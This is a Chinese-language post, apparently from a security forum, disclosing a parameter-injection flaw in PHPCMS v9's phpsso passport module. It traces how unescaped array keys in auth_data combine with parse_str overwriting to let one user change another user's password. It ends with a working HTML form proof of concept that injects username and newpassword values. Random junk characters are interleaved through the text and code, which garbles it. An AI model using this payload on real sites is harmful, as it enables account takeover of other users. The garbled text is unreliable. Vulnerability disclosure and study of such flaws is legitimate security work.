提到的通行证的代码:
3 b4 N& Q/ {% d4 ?1 x: V6 Z( b8 N6 B8 v* L' z7 C" m! v
' z3 p5 @; \5 W& P( g
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);6 F* T" G* Q& R7 C( m
! f; s& t! t8 \' R
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。* x1 o4 y7 N1 O0 u* t
2 H+ z, L3 f9 k$ X
我把它留给了你们。
" @ _) J6 f* Z- x; m9 D: Y1 Z不知道你们发现了它没有。/ n) z' a+ F' N y, d& x
c. _$ c' D, Z$ z' G/ n4 _, p* @我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。3 Y; R7 @/ t% f2 q! [
; _9 Y$ q3 ^' ^! k' o; b& ]
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
" g, q; c7 t0 b' N, U! C& `9 |" k& d9 ], C7 F
也就是8 @ G; \& E* n, h
0 I) j0 M' m X. l, @/ Z4 Iusername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。7 Y3 Z- f- H [, \/ o4 d
8 {8 j# b% ]+ P0 @0 k9 ~
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
3 {, @: D" n" E5 p, u& @; ]- P# @8 w4 c* Y; X" c
: @. \; T3 M! Y, K其实我们有这样的机会,看看代码,如下:2 f. V- W4 t4 s
) N" @$ e) ]8 ~2 m: O
" }, z \9 p8 Y8 z c# v: y. spublic function auth_data($data) {% |0 B) E5 E. c
$s = $sep = '';
* u& y9 y0 ^+ y$ R6 R foreach($data as $k => $v) {; \% s+ [6 w& |* x5 j. o v
if(is_array($v)) {
! V+ c/ b3 f2 M" Y $s2 = $sep2 = '';
( p% l' F% `8 Z/ b8 `* A9 @ foreach($v as $k2 => $v2) {' Y. p* }$ \4 s! Z
$s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);+ T) K8 g+ a* |$ k( h* W: ]3 [
$sep2 = '&';. M& b' H, ^' s# |; I) o
}
4 \/ g* A9 m: j0 B5 h9 g F $s .= $sep.$s2;
4 P( N. S9 z$ u8 ?1 p& | } else {$ Q* a+ D# [0 R2 D5 I
$s .= "$sep$k=".$this->_ps_stripslashes($v); ]4 A0 h% n3 R( ?; ^1 [
}$ A( {9 l+ P7 A) N# c
$sep = '&';
, ]5 r' u5 x, I5 O. F2 F# N. f' V }
' W4 W+ \! W( m0 q5 O7 I/ ?
" i! K0 e: {8 I% f. |/ ?/ [* [8 ] $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
p) V9 P! X! H$ z& }' t+ O9 m return $auth_s;5 _ H( l2 Z1 A' M& P
}
( ~% H' _0 }, S
; [/ B" I- O2 ^! x( D- G" X可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
, u/ M& b* W* r6 ?. |4 ?
& N" Y% X. M) ]$ B5 K1 x举个例子
! D5 I' G" i) q5 {3 x0 P5 C9 n: F
$a[aaa=a&bbb] = 'a';: x5 y. L7 o; E4 N
8 ?9 _' P: _, N1 M+ F& |
会变成aaa=a&bbb=a1 o% |6 _ y; j1 j0 u2 u8 M
' f' l f4 p; [明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。+ b* `6 a/ {3 L m
5 [, Q4 R5 V7 l& n* t& x: U这个时候,我们可以再去看一个函数。
/ f6 r: Y, p( | b9 r' d7 H
( v- C+ N6 d. [/ E1 S8 U; V. Y& ]就在这个文件内:5 W1 Q( z+ p& h7 a7 }
& D* r! J2 B8 a* I
2 X, w p z, \4 z; N
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {8 H7 T* l9 k0 l' g1 d
if($email && !$this->_is_email($email)) {" _( j" W7 P* [; { n
return -4;
, @8 v/ M) Y0 c! [! c5 `2 B% v }
& c1 X1 ]. }! v/ m; S, M u% ]5 i return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));; i7 \9 b+ F& N$ t
}
+ A& X* j) C! K- V5 [# ^
+ L5 I! P. x5 `& \ p" u+ N这是向通行证发了这样一个请求。% Y- ]' B0 ?/ s+ r9 d! l
$ u! H7 j: _5 y7 f+ w我们再跟到通信证代码里去看看,就会有所发现。! k7 ?, c2 [% o. Q& s
; |) h: i6 ?( e) I( I8 k
% {# N0 A H0 c) k0 C; Q# A1 _* Kpublic function edit() {1 z& v) y5 f, B2 |+ o. H
//能省就省,太长了不是吗?- Y1 `6 m* q4 n# n) g& B! e
" U& p" X) n3 Y( L3 c2 Oif($this->username) {* p! }. W: L8 `$ x3 k% Q& q( ^( U
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
6 p# e* P% K( C9 g# }. Q $res = $this->db->update($data, array('username'=>$this->username));3 e0 B) I- @1 y) `9 N, G+ L
} else {! K/ J5 F4 p: S$ r0 [ c- L) R+ U
file_put_contents('typeb.txt',print_r($data,1).$this->uid);) j: R* T: J4 N: h( h
$res = $this->db->update($data, array('uid'=>$this->uid));/ ~$ D, v5 B+ q: H' w9 e
}7 m8 ~, a! Z1 o: G
& Q, l* \9 M+ q1 A9 @4 h好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:0 P _, r u3 A; ~' B% q
! q# b/ ]; f% K' B, L9 f7 |
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')) F/ S; v& j2 f) W% ^0 E
# |% w9 m+ J4 j! a; Z% n* L
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。- _/ |7 c. _; x, A P, H# d& M8 o
( `+ N0 R& f- K2 q* D我当然找到了:0 m4 x1 H3 b3 P
phpcms9/phpcms/modules/member/index.php
- q: b9 r# S9 I1 J( b" E g! ^- x; ^ T) v. ^/ Q
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);) K2 C, w+ O6 n9 j2 c
# X8 k! C: \7 f$ n
然后就没有然后了。
& e8 c7 S! @$ b2 J" h( q7 h4 Y7 i, h4 I$ }; R' x
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">4 f( ~6 l! X3 |) t2 Z. O
<table width="100%" cellspacing="0" class="table_form">
. E. A G6 B X" x" o6 p <tr>* M: f7 O$ k* s# s/ N# u
<th width="80">邮箱:</th>
. { n% z# W2 Q2 O, d: S <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
0 q3 T( S2 J3 o5 u7 V( w0 u </tr>
, O& n1 S L; K* e <tr>
: I, R# \5 [, n8 y <th width="80">原密码:</th> / w) N) T' E- k' e. K9 O+ o
<td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>* R+ S- M$ d; x1 X* f5 A
</tr>
" h1 M# t4 T$ p5 } <tr>: N0 q9 A5 B6 y
<th>新密码:</th>- e: d3 t2 V: Y3 ]7 W
<td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>, o1 d1 W% u7 Q) X1 d* \
</tr>+ v' | W1 N" D4 Y C0 ?; v5 @
<th></th>* Q$ {" ~6 n* w8 c9 E
<td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
& D/ @4 N0 s* u/ U/ C% L </tr>
& }* e0 T% e, t) t+ Z1 \ </table>
2 `. Y3 ]$ Q# U) q: H- P6 N& ^6 `) [2 A+ J) {* k
9 g+ W5 d Z. [* `* @$ A' c </form>
; u7 b* A& k' }! @ |